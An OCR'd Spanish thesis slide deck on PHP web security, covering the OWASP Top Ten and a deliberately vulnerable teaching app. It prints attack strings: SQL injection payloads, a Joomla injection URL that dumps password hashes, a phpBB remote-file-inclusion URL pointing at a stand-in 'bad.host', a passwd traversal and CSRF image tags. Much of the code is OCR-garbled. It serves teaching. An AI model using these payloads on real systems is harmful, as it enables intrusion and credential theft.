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Motivacion
v El crecimiento del desarrollo web va en aumento.

v Los peligros que presenta la exposicion de una aplicacion web son muy
importantes.

v El nUmero de incidentes de seguridad se incrementa cada ano.

v El desarrollo de aplicaciones web seguras se convierte en una tarea cada
vez mas importante.

v Los desarrolladores de Sistemas deberian poseer nociones de Seguridad
Informatica basicas.



Objetivos

El presente trabajo tiene como principal objetivo el analisis de
vulnerabilidades en diferentes Aplicaciones Web vy su solucion.

Se implemento una aplicacion en la programacion PHP que cuenta con
lecciones practicas para aprender a detectar y resolver vulnerabilidades
comunes en Aplicaciones Web.

La aplicacion contiene parte del temario de la materia “Proyecto de
Software”, podra ser utilizada por los alumnos para aprender en la practica
con ejemplos simples como funcionan estas vulnerabilidades y podran
también extender el temario de las lecciones que la aplicacion cuenta
hasta el momento.



Aspectos de Seguridad en Desarrollos de Aplicaciones Web
Algunos puntos importantes para obtener una aplicacion segura:

> Contar con una gestion organizacional que apoye fuertemente a la
seguridad

> Establecer una metodologia de desarrollo
> Administracion segura de la aplicacion

Pilares de seguridad de la Informacién
n Confidencialidad

m Integridad
m Disponibilidad
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Principios de Seguridad
Minimizar el area de posibles ataques
Valores por defecto seguros
Principio de Minimo Privilegio
Separacion de Deberes
Controlar las Posibles Fallas
Seguridad a través de Ocultamiento de Cédigo (Obscurity)

Arreglar de manera correcta un problema de seguridad

X X < X X X X

Uso de Sistemas Externos
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El Proyecto OWASP

> Open Web Application Security Project

> El proyecto esta dedicado a encontrar e investigar las causas del software
inseguro.

» Es una organizacion sin fines de lucro.
» La participacion en OWASP es libre y esta abierta para todo el mundo.

» Produce la mayoria de su material en forma abierta y colaborativa.


http://www.owasp.org/
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OWASP Top Ten

OWASP presenta en consenso las diez vulnerabilidades mas criticas en
Aplicaciones Web.

1.Cross Site Scripting (XSS}

2.Injection Flaws

3.Ejecucion maliciosa de archivos

4.Referencia insegura a objetos propios de la aplicacion
5.Cross Site Request Forgery (CSRF)

6.Pérdida de la informacion y manejo inapropiado de errores
7.Vulnerar Autenticacion y Administracion de Sesiones
8.Almacenamiento Criptografico Inseguro

9.Comunicaciones Inseguras

10.Fallo en el acceso a URL restringidas
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http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
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XSS

)s datos suministrados por el usuario
cion|ni codificacion de contenido.

m  Ocurre cuando una aplicacion to
y lo envia al navegador sin vali

m XSS permite al ataque ejecutar scripts en el navegador de la victima,
robar sesiones de usuario, modificar sitios web, etc.

Tipos de XSS:

m Reflected

m Stored

s DOM Injection



Injection Flaws

m Particularmente SQL Injection, cuando los datos del usuario son
enviados a un interprete como parte de un comando o query.

m Si la entrada del usuario es pasada‘al intérprete sin validacion ni encodeo,
la aplicacion es vulnerable.

Ssql = "SELECT * FROM tabla WHEREid = ™ . S_REQUEST['id’] . ™";

m Para impedir injections usar APIs seguras, tales como queries
parametrizados fuertemente tipados y librerias de mapeo de objetos
relacionales (ORM).

m Estas interfaces manejan toda la fuga de datos (“data escaping”) o no
poseen escaping.

m  Mientras que las interfaces seguras resuelven el problema, la validacion es
recomendada ademas para detectar ataques.
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SQL Injection

SidThread = S_POST['idThread’];
Ssql = 'SELECT titulo FROM thre

WHERE idThread ="' . SidThread;

if ( !les_numerico(SidThread) ) {
// No es un numero, mensaje de error y exit

Codigo HTML

<form method="post" action="inseguro.php”>
<input type="text" name="idThread" value="4; DROP TABLE usuarios” />

<input type="submit" value="No pulse este boton" />
</form>

Finalmente...
SELECT titulo FROM threads WHERE idThread = 4; DROP TABLE usuarios
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SQL Injection en PHP-Nuke

o PHP-Nuke fue vulnerable a at

e SQL Injection en la version 6.9 y
anteriores.

o El archivo vulnerable es /modules/Web/Links/index.php
Codigo vulnerable:

[...]

function viewlink(Scid, Smin, Sorderby, Sshow) {

g'r.e'sult = sql_query("select title,parentid from
".5% refix."_links_categories where cid=Scid", $dbi);
ist

]

title, Sparentid)=sql_fetch_row(Sresult, Sdbi);

title="<a href=modules.php?name=Web_Links>"._MAIN."</a>/Stitle";
echo "<center><font class=\"option\"><b>"._CATEGORY.":
Stitle</b></font></center><br>";
echo "<table border=\"0\" cellspacing=\"10\" cellpadding=\"0\"
align=\"center\"><tr>";

[...]



SQL Injection en Joomla!

(0]

Se encontraron vulnerabilida
mismas afectan al modulo SimpleFAQ
Mambo como en Joomla.

Sql Injection en Joomla!. Las
11, este modulo funciona tanto en

Mediante esta url puede explotarse la vulnerabilidad:

http://localhost/mambo/i
&ltemid=9999&

catid=9999&aid=-1/**/uni */0,username,password,
o,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/ **/ from/**/mos_users/*

ion=com_simplefaq&task=answer

Cuando se ejecuta con éxito, el servidor nos devuelve una lista de logins y
passwords en formato MD5.



Ejecuciéon Maliciosa de Archivos

El codigo vulnerable en la inclusion remota de archivos permite incluir
codigo y datos hostiles.

Los desarrolladores a menudo usan

o concatenan entradas potencialmente
vulnerables.

. Qrmiten el uso _de referencias a
as al sistema de archivos.

En muchas plataformas los
objetos externos, URLs o r

ere

Esto permite realizar:

Ejecucion de codigo remoto

v Instalacion de root kit remoto

v’ Un constructor conocido como vulnerable muy comun es:

include S_REQUEST['nombre_archivo’];



Ejecucion Maliciosa de Archivos en phpBB

0]

include(Sphpbb_root_path . ‘includes/ functions_cash.'.SphpEXx);
Smenu = array();
admin_menu(Smenu);

Sphpbb_root_path ="./../";

require(Sphpbb_root_path . ‘extension.inc’);
require(’./pagestart.’. SphpEx);

include(Sphpbb_root_path . ‘includes/ functions_selects.". SphpEx);

o Cualquiera puede reescribir estos parametros con pedidos GET o POST.


http://victim.host/phpBB2/admin/admin_cash.php?setmodules=1&phpbb_root_path=http://bad.host/
http://victim.host/phpBB2/admin/admin_cash.php?setmodules=1&phpbb_root_path=http://bad.host/

Referencia insegura a objetos propios de la aplicacién

v Un desarrollador expone una referencia a un objeto de implementacion
interna como un archivo, directorio, registro de base de datos, clave, URL
o parametro de un form.

<select name="lenguaje">
<option value="en">Ingles</option> ]
</select>

require_once (S_REQUEST[lenguaje’]."lenguaje.php”);

v Este codigo puede ser atacado usando un string como
... ]..letc/passwd%00" usando null byte injection.



CSRF

v Un ataque CSRF fuerza al nayegador de|la victima a enviar un pedido pre
autenticado a una aplicacion we rable.

usuario para invocar alguna funcion, como por eJemplo la pagina de logout
de la apllcacmn T\
<img src=" g

124

v~ Un ataque asi funciona porque las credenciales de autorizacion del usuario
(tipicamente cookies de sesion) podrian ser incluidas automaticamente en
los pedidos al navegador, aun si el atacante no suministra las
credenciales.


http://www.example.com/logout.php
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PHP Top 5

PHP Top 5 ( ) es un proyecto de
OWASP basado en la seccion de PHP del TOP 20 de SANS (Instituto dedicado a la
investigacion y educacion de seguridad informatica).

Es una clasificacion de cinco vulnerabilidades que afectan particularmente a
Aplicaciones Web desarrolladas en el lenguaje PHP.

m Ejecucion Remota de Codigo (Remote Code Execution)
m  Cross-site scripting (XSS)

= SQL Injection

m  Configuracion PHP

m Ataques al sistema de archivos


http://www.owasp.org/index.php/PHP_Top_5

Ejecucion Remota de Cdédigo

0O Afecta a las aplicaciones que aceptan nombres de archivos por parte del

usuarlq cuando el 51t1o.web mane
URLs sin chequeo previo.

Las causas de este problema son:

. validacion insuficiente de las entr

sistema de archivos tales como re

adgs
quir

ingreso y la inclusion de archivos y

del usuario antes de llamados al
e, include o fopen()

privilegios por default excesivos

A partir de la version 4.0.4 de PHP, la opcion allow_url_fopen es
habilitada por default, perm1t1endo escribir aplicaciones vulnerables sin
realizar muchos cambios de configuracion.A partir de PHP 4.3.4, el
proyecto PHP cambio el acceso a PHP_INI_SYSTEM, el cual prev1ene
deshabilitando esta caracteristica usando ini_set( )
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XSS

Cross-Site Scripting

Algunas recomendaciones

v

v

Verificar que todos los parametros ena aplicacion sean validados y/o
encodeados antes de ser incluidos en la pagina HTML

La mejor proteccion para XSS es una combinacion de validacion
“whitelist” y un encodeo apropiado de todos los datos de salida.

htmlspecialchars() para convertir los caracteres “, &, <y > en &amp; “
&lt; y &gt;. (PHP tiene otra funcion htmlentities() que convierte todos los
caracteres que tienen entidades equivalentes HTML)

echo <td>";
echo htmlspecialchars(SunaFila['mensaje’]);
echo </td>’; ...
La aplicacion no deberia depender de register_globals




SQL Injection

v Validar datos antes de usarlosen queries SQL dinamicos

v Preferir validacion positiva a validacion de casos invalidos (black listing)
v Usar PDO
v Usar declaraciones parametrizadas MySQLi’s o MDB2
v Al menos, usar funciones como mysql_real_escape_string()
v Los programas PHP deberian ser migrados a PHP 5.1

v Usar addslashes() no es suficiente.

v magic quotes (eliminado en PHP6) da una falsa sensacion de seguridad.



Configuracion PHP

> La configuracion de PHP tiene una’conexion directa con la severidad de los
ataques.

> No hay una configuracion ceptada por la mayoria como segura,
tampoco la configuracion por defecto. ]

» Algunas consideraciones:

register_globals
allow_url_fopen
magic_quotes_gpc
magic_quotes_runtime
safe_mode y open_basedir



Ataques al sistema de archivos

m Inclusion de archivo local (tal como /et
configuracion, o (0gs)

-/ passwd, archivos de

m  Manipulacion de sesiones loc
m Upload Injection de archivos locales

m La mayoria de los administradores del sitio corren PHP sin usuario bajo
Apache, las vulnerabilidades sobre el sistema de archivos local afectan a
todos los usuarios dentro de un host simple.
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Lecciones sobre Seguridad en Aplicaciones Web (programadas
en PHP)

m La aplicacion implementada esta basada en una aplicacion promovida por
la OWASP denominada WebGoat.

m WebGoat es una aplicacion web J2EE deliberadamente insegura
mantenida por OWASP y disenada para ensenar lecciones de seguridad de
Aplicaciones Web.

m En cada leccion los usuarios deben demostrar sus conocimientos acerca de
una caracteristica de seguridad explotando una vulnerabilidad real.



(programadas en PHP)



Aplicacion LS-PHP (Lecciones de seguridad en PHP)

m Serie de lecciones en donde los alumnos podran intentar descubrir y, en lo
posible, plantear soluciones a problemas tipicos de seguridad en
aplicaciones PHP.

f:; http: f flocalhostftesisf - Windows Internet Explorer proporcionado por Windows uE |
o & | httpefflocalhostftesis) = | [#4|| x L |-
— — o
w | & I@httpl."."bw'hmt."tﬁis." l I B - B i - |2k Pagina - {F Herramientas -
Tesina 2008/2009 - Camilo Ponce
Lecciones
E-General
“Http Basico

E-Injection

E""Strir‘ng SQL Injection
E-Cross-Site Scripting(Xss)
- Stored XSS

Reflected XSS

E-Seguridad en AJAX
~ DOM Injection
“ XML Injection

(3 € Internet F100% v
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Aplicacion LS-PHP (Lecciones de seguridad en PHP)

m A partir de estas lecciones el alumno puede aprender sobre aspectos de
seguridad en la Web e implementar nuevas lecciones.

m La aplicacion esta implementada con PHP 5, utiliza PDO y como base de
datos MYSQL.

m Para la resolucion de algunas de estas lecciones se utilizara el proxy

WebScarab también desarrollado por OWASP o también puede utilizarse
Tamper Data.
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Aplicacion LS-PHP (Lecciones de seguridad en PHP)

Lecciones

m Todas las lecciones planteadas en esta aplicacion proponen la siguiente
estructura:

Aspectos teoricos
Objetivo

Guia y Resolucion
Consejos sugeridos

m Temas abordados:
Leccion 1: Http Basico
Leccion 2: SQL Injection
Leccion 3: Cross Site Scripting
Leccion 4: CSRF
Leccion 5: Seguridad en Ajax
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Leccion: SQL Injection

m Los ataques de SQL Injection (Injection Flaws) son faciles de aprendery
pueden causar mucho dano, aun asi con un poco de sentido comun puede
ser prevenido casi totalmente.

m El formulario permite a un usuario ver sus nUmeros de tarjetas de crédito.
Hay que agregar un string SQL que permita mostrar todos los numeros de
tarjeta de crédito.

Codigo Fuente Descripcion Tips :

El formulario permite a un usuario ver sus ndmeros de tarjetas de crédito.
Trate de agregar un string SQL que permita mostrar todos los ndmeros de tarjeta de crédito

1010R1=1|



Leccion: SQL Injection

m La opcion Codigo Fuente muestra el codigo fuente de la leccion.

Codigo Fuente Descripcion Tips XML Inject

El formulario permite a un usuario ver sus numeros de tarjetas de creédito.

Trate de agregar un string SQL que permita mostrar todos los numeros de tarjeta de crédito. Use el ide

Codigo Fuente SOL String Injection =1

Ha comp

<div class="bglLes=son">
<table width="100%">
<LIr>
<td width="25%">
<div clazs="text title" style="padding:20px Opx Opx 20px">
<a href="#" onClick="dhtmlwindow.open
("2ource', "iframe', 'sources/5QLStringInjection.php', 'C&oacute;digo

< fdive

< /td>

<td width="25%">

<div class="text_title" style="padding:20px 20px Opx 0px" align="¢

<a href="#" onClick="dhtmlwindow.open
("descripcion', 'iframe', '"htmls/5QLInjectionDescription.html', 'De=sci

< divs
< /td>
<td width="25%">

4 T 3

cidiv nlass="rext ritle" srvie="maddinm:?0ne F0nx Onx Onx™ alinm=""

s
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Leccion: SQL Injection

m La opcion Descripcion muestra una breve descripcion de la vulnerabilidad
de la leccion.

formularo permite 3 10 ysyann ver sis nimeros de tadetas de crédito

atd Descripcion SQL Injection =X lbntit

s

SQL Injection es una vulnerabilidad a niwvel de walidacion de las
entradas a la base de datos de una aplicacidn.

E=zto se debe al filtrado incorrecto de las wariables utilizadas
en un programa con codigo SQL.

—]| Puede ocurrir en cualguier lenguaje de programacion.

o Ejemplo

Lsumiendo gue el siguiente cddigo estd en una aplicacidon web y

am

---------------- gque existe un parametro "nombrelUsuario™ gue contiene el nombre
EE de usuario de entrada del usuario:

ibe

=| consulta := "SELECT * FROM usuarios WHERE nombre = '"" 4+ nombreUsuarioc + "';"
5i el usuario escribe =su nombre, digamos "Alicia"™ la aplicacidn

generaria una sentencia 5QL correcta, en donde se selecciona el

usuario "Alicia™:

SELECT * FROM wusuarios WHERE nombre = 'RAlicia';

Pero =i un usuarico malintencionado escribe como nombre de usuario:
"Alicia' ;DROP TABLE msmarios;SELECT * FROM datos WHERE nombre LIEE %",
se generarlia la siguiente consulta SQL:

SELECT * FROM usuarios WHERE nombre =
'Alicia' ;DROP TABLE mnsuarios:SELECT + FROM datos WHERE nombre LIEE '"%';

1 1} »




Leccién: SQL Injection

m De esta forma el alumno vera una consulta de todos los registros de la
tabla, al explotar la vulnerabilidad SQL Injection, cuando en realidad la
funcionalidad es que devuelva un solo registro.

Codigo Fuente Descripcion

-PHP

iohes

El formulario permite a un wusuario ver sus numeros d
neral Trate de agregar un string SOL que permita mostrar
Http Basico identificador de usuario 101.

ection Enliar

String SOL Injection

Talg 1R
)55-Site ScriptingtXSs) Ha completado la leccion!!!

Stored 55

rMombre Apellido MOamero
Reflected =55 camilo ponce L=y =yatat atal
CRRE roberto perda 3334444
guridad en AJAX éruben ‘germendia 11114444

DOM Injection
HML Injection
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Leccion: CSRF

m Un ataque CSRF fuerza al navegador de la victima a enviar un pedido pre
autenticado a una aplicacion web vulnerable, forzando al navegador de la
victima a realizar acciones hostiles.

m Tips y Consejos Sugeridos nos ayudan a realizar la leccion y a conocer una
solucion para la vulnerabilidad.

Codigo Fuente Descripcion Tips CSRF Consejos Su
Tips CSRF =]

Inchiir esta URL en el mensaje

<imy src='http:.//localhost/tesis/lesson.php?lesson=4&transferFunds=5000" width=1 height=1 />

Consejos Sugeridos CSRF ==l

* Bisegurarse gue no hay valnerabilidades X55 en =su aplicacidn.

* hgregar tokens particulares y aleatorios en cada formmlario y TRL gue
no podra ser automaticamente enviado por €1 navegador ¥y entonces
wverificar gue 1 token enviado es correcto para 1 usuario actual,
pueden ser dnicos para una funcidn particular o pagina para el

peep usuarioco o =simplemente Unico para toda la sesidn.
* Para datos o walores transaccionales sensibles, reautenticar o usar
23423
firmas en la transaccidn para asegurar gue el pedido es genuino.
artert

Considere enviar un e-mail o comanicarse con £l cliente si la actiwvidad es
mensaje 4 sospechosa para alertar al usuario ¥ potencialmente terminar la transaccidn.
mensaje (= * No use pedidos GET (URLs) para datos sensible=s o para realizar transacciones.
Use tanicamente métodos POST cuando e=2té procesando =3te tipo de datos del

wewe
usuario.
gweqwe * TUsar coHmo una medida de proteccidn el método POST es insuficiente,
asdadasd combinar con tokens random, autenticacidn "out of band”
la casa embnﬂada (varios procesos de autenticacion diferentes) o reautenticacidn.

la casa embrujada que conpig|
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Leccion: CSRF

m El alumno debera incluir una URL de este estilo en el mensaje, es
una imagen invisible que podria ejecutar un script malicioso en este
caso en lenguaje PHP.

<img
src="http://localhost/tesis/lesson.php?lesson=4&transferFunds=5000
"width=1 height=1 />

Codigo Fuente Descripcion Tips CSRF

Agregue una imagen que realice una accian peligrosa.

Titulo mensajeb

rMensaje =<img src='http:flocalhost/tesis/desson.phprlesson=4&
transferFunds=5000" width=1 height=1 /=

_Guardar |
Si agregamos en el mensaje una imagen podem
incluirle | | atribut o de donde toma | —
imagen que en realidad implique una accidn pelig [—
peep
23423
ertert

mensaje %+
mensaje 5
S

O EgwWE

Ha completado la leccian!!!
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Conclusiones

= Aunque ninguna Aplicacion Web esta exenta de incluir vulnerabilidades,
las malas practicas en la programacion provocan que la seguridad de una
aplicacion desarrollada sea aun mas débil

m  Mi experiencia en el desarrollo de Aplicaciones Web me llevo a elegir este
tema debido a que he notado que para hablar de la Seguridad en el
Desarrollo primero hay que tener en claro cual es el conjunto de
vulnerabilidades a la que se esta expuesto o conceptos basicos para luego
entrar con claridad en el analisis de problemas de seguridad mas
especificos

m Este trabajo se enfoca desde la optica de utilizar las vulnerabilidades mas
frecuelntes probarlas y observar de qué formas un desarrollador puede
vitarlas

m Laforma didactica de presentar las vulnerabilidades fue pensada para
servir como introduccion a esta tematica y probada en la materia
“Proyecto de Software” de nuestra facultad, donde los alumnos
desarrollan aplicaciones con PHP.



Trabajos Futuros

>

>

En esta tematica surgen constantemente nuevos desafios.

Algunas de las posibles extensiones propuestas para cada tema tratado
son:

Actualizacion periddica del informe
Actualizar el Top 5 PHP para PHP 5.
Crear una seccion referida a PHP 6

Seguir la implementacion de la aplicacion y presentarla a la catedra para
que pueda ser utilizada por los alumnos, mantenida y actualizada a las
necesidades que puedan surgir con el transcurso de las cursadas.

Los alumnos pueden extender el temario de la aplicacion agregando mas
lecciones sobre seguridad.



¢ Preguntas?
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